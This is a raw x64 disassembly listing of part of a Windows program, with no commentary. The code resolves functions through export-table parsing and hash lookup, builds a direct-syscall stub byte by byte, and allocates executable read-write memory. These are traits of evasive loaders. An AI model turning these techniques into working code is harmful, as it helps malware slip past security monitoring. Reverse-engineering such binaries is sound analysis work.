lea rdx, [rsp + 0x2ca0]
lea rcx, [rsp + 0xd38]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140147def
mov rax, qword [rsp + 0x46f8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb240], rax
lea rdx, [rsp + 0x12a68]
mov rcx, qword [rsp + 0xb240]
call fcn.14019acf0
lea rcx, [rsp + 0x10080]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xd38]
mov dword [rsp + 0x2ca4], eax
lea rax, [rsp + 0xd3a0]
lea rcx, [rsp + 0x10080]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2ca4]
mov dword [rsp + 0xd40], eax
lea rax, [rsp + 0x2ca8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2ca8]
call fcn.14009b310
mov qword [rsp + 0xb248], rax
lea rax, [rsp + 0x10090]
lea rcx, [rsp + 0xd3a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x100a0]
lea rcx, [rsp + 0x10090]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x100a0]
mov rcx, qword [rsp + 0xb248]
call fcn.140097890
mov dword [rsp + 0x2cb0], eax
lea rcx, [rsp + 0xd3a0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb250], rax
mov r9, qword [rsp + 0xb250]
xor r8d, r8d
lea rdx, [rsp + 0x100b0]
lea rcx, [rsp + 0xd3a0]
call fcn.14019ab70
lea rax, [rsp + 0x2cac]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2cac]
call fcn.14009b310
mov qword [rsp + 0xb258], rax
lea rax, [rsp + 0x100c0]
lea rcx, [rsp + 0x100b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x100d0]
lea rcx, [rsp + 0x100c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x100d0]
mov rcx, qword [rsp + 0xb258]
call fcn.140097890
mov dword [rsp + 0x2cb8], eax
mov edx, dword [rsp + 0x2cb0]
lea rcx, [rsp + 0x2cb4]
call fcn.14009b2f0
lea rdx, [rsp + 0x2cb4]
lea rcx, [rsp + 0xd40]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140147dd3
mov edx, dword [rsp + 0x2cb8]
lea rcx, [rsp + 0x2cbc]
call fcn.14009b2f0
lea rdx, [rsp + 0x2cbc]
lea rcx, [rsp + 0xd40]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140147dd3
mov dword [rsp + 0xd48], 1
jmp 0x140147dde
mov dword [rsp + 0xd48], 0
movzx eax, byte [rsp + 0xd48]
test eax, eax
je 0x140147def
jmp 0x140147b12
mov rax, qword [rsp + 0x46f8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4700], rax
mov rax, qword [rsp + 0x4700]
mov qword [rsp + 0x4558], rax
mov rax, qword [rsp + 0x4700]
mov qword [rsp + 0xb260], rax
mov rax, qword [rsp + 0xb260]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb268], rax
mov rax, qword [rsp + 0xb268]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb270], rax
mov eax, dword [rsp + 0xb270]
add rax, qword [rsp + 0x4558]
mov qword [rsp + 0xb278], rax
mov rax, qword [rsp + 0xb278]
mov qword [rsp + 0x4560], rax
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0x6fc0]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11f48]
lea rcx, [rsp + 0x4558]
call fcn.140097040
lea rdx, [rsp + 0x13ab0]
lea rcx, [rsp + 0x4558]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11f48]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140147edb
jmp 0x140147b12
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140147f5e
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11f58]
mov qword [rsp + 0x4ab0], rax
mov rcx, qword [rsp + 0x4ab0]
call fcn.140097960
mov qword [rsp + 0x11718], rax
mov rcx, qword [rsp + 0x4ab0]
call fcn.140097950
mov qword [rsp + 0x40b8], rax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov qword [rsp + 0x4710], rax
mov rax, qword [rsp + 0x4558]
mov qword [rsp + 0xb280], rax
mov rax, qword [rsp + 0xb280]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0xb288]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4720], rax
mov eax, dword [rsp + 0x4720]
add rax, qword [rsp + 0x4558]
mov qword [rsp + 0x4718], rax
mov eax, dword [rsp + 0x4724]
mov rcx, qword [rsp + 0x4718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb290], rax
mov rax, qword [rsp + 0x4718]
cmp qword [rsp + 0x4710], rax
jb 0x140148050
mov rax, qword [rsp + 0xb290]
cmp qword [rsp + 0x4710], rax
jae 0x140148050
mov dword [rsp + 0xd58], 1
jmp 0x14014805b
mov dword [rsp + 0xd58], 0
movzx eax, byte [rsp + 0xd58]
mov byte [rsp + 0xfc], al
movzx eax, byte [rsp + 0xfc]
test eax, eax
je 0x14014832a
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0xb298]
mov qword [rsp + 0xb2a0], rax
lea rax, [rsp + 0x12a78]
mov qword [rsp + 0xb2a8], rax
mov rdx, qword [rsp + 0xb2a0]
mov rcx, qword [rsp + 0xb2a8]
call fcn.140095590
lea rcx, [rsp + 0x6a90]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6a90]
call fcn.140191090
mov qword [rsp + 0x40b0], rax
cmp qword [rsp + 0x40b0], 0xffffffffffffffff
je 0x140148165
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov qword [rsp + 0x1490], rax
jmp 0x140148350
mov qword [rsp + 0x1490], 0
mov rax, qword [rsp + 0x1490]
mov qword [rsp + 0x40c0], rax
lea rcx, [rsp + 0x40c0]
call fcn.1400a2c10
mov qword [rsp + 0xb2e8], rax
mov eax, dword [rsp + 0x6730]
mov dword [rsp + 0x2cd0], eax
mov rax, qword [rsp + 0xb2e8]
mov qword [rsp + 0xb2f0], rax
mov eax, dword [rsp + 0x2cd0]
mov dword [rsp + 0x2cd8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10150]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb2f8], rax
lea r9, [rsp + 0xb2f0]
lea r8, [rsp + 0x2cd8]
lea rdx, [rsp + 0x12a88]
mov rcx, qword [rsp + 0xb2f8]
call fcn.140098320
lea rcx, [rsp + 0x10150]
call fcn.1400a0f80
lea rcx, [rsp + 0x40c0]
call fcn.1400a2c10
mov qword [rsp + 0xb300], rax
mov rax, qword [rsp + 0xb300]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2ce0], eax
mov eax, dword [rsp + 0x2ce0]
mov dword [rsp + 0x6734], eax
lea rax, [rsp + 0x6738]
mov qword [rsp + 0xb308], rax
mov eax, dword [rsp + 0x6734]
mov dword [rsp + 0x2ce8], eax
mov rax, qword [rsp + 0xb308]
add rax, 0x11
mov qword [rsp + 0xb310], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xb310]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2ce8]
mov dword [rax], ecx
lea rax, [rsp + 0x6738]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0x690]
add rax, 0x10
mov qword [rsp + 0x11720], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xb318], rax
mov qword [rsp + 0x4708], 0
mov qword [rsp + 0xb320], 0xd
mov rax, qword [rsp + 0xb318]
mov qword [rsp + 0xb328], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xb320]
xor r8d, r8d
lea rdx, [rsp + 0x4708]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xb328]
mov dword [rsp + 0x2cf0], eax
cmp dword [rsp + 0x2cf0], 0
jl 0x140148534
mov rax, qword [rsp + 0x4708]
mov qword [rsp + 0x5888], rax
jmp 0x140148540
mov qword [rsp + 0x5888], 0
mov rax, qword [rsp + 0x5888]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0x690]
mov rcx, qword [rsp + 0xb330]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x690]
cmp qword [rax + 8], 0
jne 0x140148575
jmp 0x1401485b9
mov rax, qword [rsp + 0x690]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x690]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x690]
mov rcx, qword [rsp + 0x690]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6738]
mov qword [rsp + 0xb388], rax
mov rax, qword [rsp + 0xb338]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb340]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb348]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb350]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb358]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb360]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb368]
mov r8, qword [rsp + 0xb370]
mov rdx, qword [rsp + 0xb378]
mov rcx, qword [rsp + 0xb380]
call qword [rsp + 0xb388]
mov dword [rsp + 0x2cf4], eax
lea rcx, [rsp + 0x6730]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2cf4]
mov dword [rsp + 0x2cf8], eax
cmp dword [rsp + 0x2cf8], 0
jge 0x140148674
mov byte [rsp + 0x92], 0
jmp 0x14014867c
mov byte [rsp + 0x92], 1
mov byte [rsp + 0x93], 1
jmp 0x14014868b
jmp 0x14014626e
movzx eax, byte [rsp + 0x93]
test eax, eax
jne 0x1401486bd
mov byte [rsp + 0xfd], 0
lea rcx, [rsp + 0x1110]
call fcn.1400a0fc0
movzx eax, byte [rsp + 0xfd]
mov byte [rsp + 0x70], al
jmp 0x140158cee
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1498]
call fcn.1400a2dd0
mov qword [rsp + 0x5908], rax
mov rax, qword [rsp + 0x1b0]
add rax, 8
mov rdx, rax
lea rcx, [rsp + 0x1498]
call fcn.1400a2dd0
mov qword [rsp + 0x5910], rax
lea rax, [rsp + 0x5910]
mov qword [rsp + 0x5890], rax
mov rax, qword [rsp + 0x5908]
add rax, 8
mov qword [rsp + 0x5898], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0xb390]
mov qword [rsp + 0xb3d8], rax
cmp qword [rsp + 0x5898], 0
je 0x140148760
cmp qword [rsp + 0x5890], 0
je 0x140148760
xor eax, eax
cmp rax, 8
jne 0x14014876d
mov byte [rsp + 0x94], 0
jmp 0x1401498cc
lea rax, [rsp + 0xdac0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xdac0], 0x33
mov rax, qword [rsp + 0x5890]
mov qword [rsp + 0xdad0], rax
mov rax, qword [rsp + 0x5898]
mov qword [rsp + 0xdad8], rax
mov qword [rsp + 0xdae0], 8
mov dword [rsp + 0x2d3c], 0
mov qword [rsp + 0xb3a0], 0
mov qword [rsp + 0xb3a8], 0x28
lea rax, [rsp + 0xdac0]
mov qword [rsp + 0xb3b0], rax
lea rax, [rsp + 0x12dc8]
mov qword [rsp + 0xb3b8], rax
mov qword [rsp + 0xb3c0], 0
mov qword [rsp + 0xb3c8], 0
mov qword [rsp + 0xb3d0], 0
mov dword [rsp + 0x2cfc], 0x9363e455
mov eax, dword [rsp + 0x2cfc]
mov dword [rsp + 0x2d00], eax
lea rcx, [rsp + 0x2d00]
call fcn.1400a2c20
mov dword [rsp + 0x6758], eax
mov dword [rsp + 0x675c], 0
lea rax, [rsp + 0x6760]
mov qword [rsp + 0xb398], rax
mov dword [rsp + 0x2d38], 0x49
mov dword [rsp + 0x2d34], 0x89
mov dword [rsp + 0x2d30], 0xca
mov dword [rsp + 0x2d2c], 0x48
mov dword [rsp + 0x2d28], 0xc7
mov dword [rsp + 0x2d24], 0xc0
mov dword [rsp + 0x2d20], 0x3f
mov dword [rsp + 0x2d1c], 0x10
mov dword [rsp + 0x2d18], 0
mov dword [rsp + 0x2d14], 0
mov dword [rsp + 0x2d10], 0xf
mov dword [rsp + 0x2d0c], 5
mov dword [rsp + 0x2d08], 0xc3
lea rax, [rsp + 0x2d08]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2d0c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2d10]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2d14]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2d1c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2d20]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2d24]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2d28]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2d2c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2d30]
lea r8, [rsp + 0x2d34]
lea rdx, [rsp + 0x2d38]
mov rcx, qword [rsp + 0xb398]
call fcn.14008f900
mov byte [rsp + 0x402], 1
mov byte [rsp + 0x403], 0
movsxd rax, dword [rsp + 0x2d3c]
mov qword [rsp + 0xb510], rax
mov byte [rsp + 0x404], 0
mov byte [rsp + 0x405], 0
mov rax, qword [rsp + 0xb3a0]
mov qword [rsp + 0xb518], rax
mov byte [rsp + 0x406], 0
mov byte [rsp + 0x407], 1
mov rax, qword [rsp + 0xb3a8]
mov qword [rsp + 0xb520], rax
mov byte [rsp + 0x408], 0
mov byte [rsp + 0x409], 0
mov rax, qword [rsp + 0xb3b0]
mov qword [rsp + 0xb528], rax
mov byte [rsp + 0x40a], 0
mov byte [rsp + 0x40b], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xb530], rax
mov byte [rsp + 0x40c], 0
mov byte [rsp + 0x40d], 0
mov rax, qword [rsp + 0xb3b8]
mov qword [rsp + 0xb538], rax
mov byte [rsp + 0x40e], 0
mov byte [rsp + 0x40f], 0
mov rax, qword [rsp + 0xb3c0]
mov qword [rsp + 0xb540], rax
mov byte [rsp + 0x410], 0
mov byte [rsp + 0x411], 0
mov rax, qword [rsp + 0xb3c8]
mov qword [rsp + 0xb548], rax
mov byte [rsp + 0x412], 0
mov byte [rsp + 0x413], 0
mov rax, qword [rsp + 0xb3d0]
mov qword [rsp + 0xb550], rax
mov byte [rsp + 0x414], 0
mov byte [rsp + 0x415], 0
mov rax, qword [rsp + 0xb3d8]
mov qword [rsp + 0xb558], rax
mov eax, dword [rsp + 0x6758]
mov dword [rsp + 0x2d40], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10160]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb3e0], rax
lea r8, [rsp + 0x2d40]
lea rdx, [rsp + 0x58a0]
mov rcx, qword [rsp + 0xb3e0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb3e8], rax
lea rdx, [rsp + 0x11728]
mov rcx, qword [rsp + 0xb3e8]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x58a0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140148b7e
mov qword [rsp + 0x58a8], 0
jmp 0x140148b97
lea rcx, [rsp + 0x58a0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x58a8], rax
mov rax, qword [rsp + 0x58a8]
mov qword [rsp + 0xb3f0], rax
lea rcx, [rsp + 0x10160]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb3f0]
mov qword [rsp + 0x58b0], rax
cmp qword [rsp + 0x58b0], 0
je 0x140148bf4
mov rax, qword [rsp + 0x58b0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2d48], eax
mov eax, dword [rsp + 0x2d48]
mov dword [rsp + 0x675c], eax
jmp 0x140149682
lea rax, [rsp + 0x6fcc]
mov qword [rsp + 0xb3f8], rax
xor edx, edx
mov rcx, qword [rsp + 0xb3f8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2d4c], eax
lea rax, [rsp + 0x6fd0]
mov qword [rsp + 0xb400], rax
mov edx, dword [rsp + 0x6758]
mov rcx, qword [rsp + 0xb400]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2d50], eax
mov eax, dword [rsp + 0x2d4c]
mov dword [rsp + 0xd60], eax
mov eax, dword [rsp + 0x2d50]
mov dword [rsp + 0xd78], eax
xor edx, edx
lea rcx, [rsp + 0x2d54]
call fcn.14009b2f0
lea rdx, [rsp + 0x2d54]
lea rcx, [rsp + 0xd78]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140148ca1
mov qword [rsp + 0x14a8], 0
jmp 0x1401495a0
mov byte [rsp + 0x416], 1
mov qword [rsp + 0x6aa0], 0
mov qword [rsp + 0x6aa8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x40c8], rax
mov eax, 1
test eax, eax
je 0x140148cf3
mov rax, qword [rsp + 0x40c8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x58b8], rax
jmp 0x140148d06
mov rax, qword [rsp + 0x40c8]
mov rax, qword [rax]
mov qword [rsp + 0x58b8], rax
mov rax, qword [rsp + 0x58b8]
mov qword [rsp + 0x6aa0], rax
mov rax, qword [rsp + 0x40c8]
mov qword [rsp + 0x6aa8], rax
lea rax, [rsp + 0x6aa0]
mov qword [rsp + 0x58c0], rax
lea rdx, [rsp + 0x14a0]
mov rcx, qword [rsp + 0x58c0]
call fcn.14018efb0
lea rdx, [rsp + 0xb408]
mov rcx, qword [rsp + 0x58c0]
call fcn.140190a30
jmp 0x140148d75
mov rax, qword [rsp + 0x14a0]
mov rax, qword [rax]
mov qword [rsp + 0x14a0], rax
mov rax, qword [rsp + 0xb408]
cmp qword [rsp + 0x14a0], rax
je 0x140148d94
mov dword [rsp + 0xd5c], 1
jmp 0x140148d9f
mov dword [rsp + 0xd5c], 0
movzx eax, byte [rsp + 0xd5c]
test eax, eax
je 0x140149594
xor edx, edx
mov rcx, qword [rsp + 0x14a0]
call fcn.140096d90
mov qword [rsp + 0xb410], rax
lea rax, [rsp + 0xb410]
mov qword [rsp + 0x58c8], rax
xor edx, edx
lea rcx, [rsp + 0x2d58]
call fcn.14009b2f0
lea rdx, [rsp + 0x2d58]
lea rcx, [rsp + 0xd60]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014903f
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb418], rax
lea rdx, [rsp + 0x12dd8]
mov rcx, qword [rsp + 0xb418]
call fcn.14019acf0
lea rcx, [rsp + 0x10170]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xd60]
mov dword [rsp + 0x2d5c], eax
lea rax, [rsp + 0xd3b0]
lea rcx, [rsp + 0x10170]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2d5c]
mov dword [rsp + 0xd68], eax
lea rax, [rsp + 0x2d60]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2d60]
call fcn.14009b310
mov qword [rsp + 0xb420], rax
lea rax, [rsp + 0x10180]
lea rcx, [rsp + 0xd3b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10190]
lea rcx, [rsp + 0x10180]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10190]
mov rcx, qword [rsp + 0xb420]
call fcn.140097890
mov dword [rsp + 0x2d68], eax
lea rcx, [rsp + 0xd3b0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb428], rax
mov r9, qword [rsp + 0xb428]
xor r8d, r8d
lea rdx, [rsp + 0x101a0]
lea rcx, [rsp + 0xd3b0]
call fcn.14019ab70
lea rax, [rsp + 0x2d64]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2d64]
call fcn.14009b310
mov qword [rsp + 0xb430], rax
lea rax, [rsp + 0x101b0]
lea rcx, [rsp + 0x101a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x101c0]
lea rcx, [rsp + 0x101b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x101c0]
mov rcx, qword [rsp + 0xb430]
call fcn.140097890
mov dword [rsp + 0x2d70], eax
mov edx, dword [rsp + 0x2d68]
lea rcx, [rsp + 0x2d6c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2d6c]
lea rcx, [rsp + 0xd68]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140149023
mov edx, dword [rsp + 0x2d70]
lea rcx, [rsp + 0x2d74]
call fcn.14009b2f0
lea rdx, [rsp + 0x2d74]
lea rcx, [rsp + 0xd68]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140149023
mov dword [rsp + 0xd70], 1
jmp 0x14014902e
mov dword [rsp + 0xd70], 0
movzx eax, byte [rsp + 0xd70]
test eax, eax
je 0x14014903f
jmp 0x140148d62
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x58d0], rax
mov rax, qword [rsp + 0x58d0]
mov qword [rsp + 0x4568], rax
mov rax, qword [rsp + 0x58d0]
mov qword [rsp + 0xb438], rax
mov rax, qword [rsp + 0xb438]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb448], rax
mov eax, dword [rsp + 0xb448]
add rax, qword [rsp + 0x4568]
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0xb450]
mov qword [rsp + 0x4570], rax
lea rdx, [rsp + 0xd78]
lea rcx, [rsp + 0x6fd4]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x120b0]
lea rcx, [rsp + 0x4568]
call fcn.140097040
lea rdx, [rsp + 0x13ad8]
lea rcx, [rsp + 0x4568]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x120b0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014912b
jmp 0x140148d62
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401491ae
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x120c0]
mov qword [rsp + 0x58d8], rax
mov rcx, qword [rsp + 0x58d8]
call fcn.140097960
mov qword [rsp + 0x11730], rax
mov rcx, qword [rsp + 0x58d8]
call fcn.140097950
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x40d8]
mov rax, qword [rax]
mov qword [rsp + 0x58f0], rax
mov rax, qword [rsp + 0x4568]
mov qword [rsp + 0xb458], rax
mov rax, qword [rsp + 0xb458]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0xb460]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x58e0], rax
mov eax, dword [rsp + 0x58e0]
add rax, qword [rsp + 0x4568]
mov qword [rsp + 0x58e8], rax
mov eax, dword [rsp + 0x58e4]
mov rcx, qword [rsp + 0x58e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb468], rax
mov rax, qword [rsp + 0x58e8]
cmp qword [rsp + 0x58f0], rax
jb 0x1401492a0
mov rax, qword [rsp + 0xb468]
cmp qword [rsp + 0x58f0], rax
jae 0x1401492a0
mov dword [rsp + 0xd80], 1
jmp 0x1401492ab
mov dword [rsp + 0xd80], 0
movzx eax, byte [rsp + 0xd80]
mov byte [rsp + 0xfe], al
movzx eax, byte [rsp + 0xfe]
test eax, eax
je 0x14014957a
mov rax, qword [rsp + 0x40d8]
mov rax, qword [rax]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0xb470]
mov qword [rsp + 0xb478], rax
lea rax, [rsp + 0x12de8]
mov qword [rsp + 0xb480], rax
mov rdx, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0xb480]
call fcn.140095590
lea rcx, [rsp + 0x6ab0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6ab0]
call fcn.140191090
mov qword [rsp + 0x40d0], rax
cmp qword [rsp + 0x40d0], 0xffffffffffffffff
je 0x1401493b5
mov r9, qword [rsp + 0x40d0]
xor r8d, r8d
lea rdx, [rsp + 0x101e0]
lea rcx, [rsp + 0x6ab0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x40d0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0x101d0]
lea rcx, [rsp + 0x6ab0]
call fcn.14019aaa0
lea r8, [rsp + 0x101d0]
lea rdx, [rsp + 0x101e0]
lea rcx, [rsp + 0x11390]
call fcn.14008f7e0
jmp 0x1401493f0
lea rax, [rsp + 0x6ab0]
mov qword [rsp + 0xb488], rax
lea rcx, [rsp + 0x101f0]
call fcn.140099fb0
lea r8, [rsp + 0x101f0]
mov rdx, qword [rsp + 0xb488]
lea rcx, [rsp + 0x11390]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11390]
call fcn.140097960
mov qword [rsp + 0xb490], rax
lea rcx, [rsp + 0x11390]
call fcn.140097950
mov qword [rsp + 0xb4a8], rax
lea rax, [rsp + 0x6fd8]
mov qword [rsp + 0xb4a0], rax
lea rax, [rsp + 0x2d78]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2d78]
call fcn.14009b310
mov qword [rsp + 0xb498], rax
lea rax, [rsp + 0x10200]
mov rdi, rax
mov rsi, qword [rsp + 0xb490]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10210]
lea rcx, [rsp + 0x10200]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
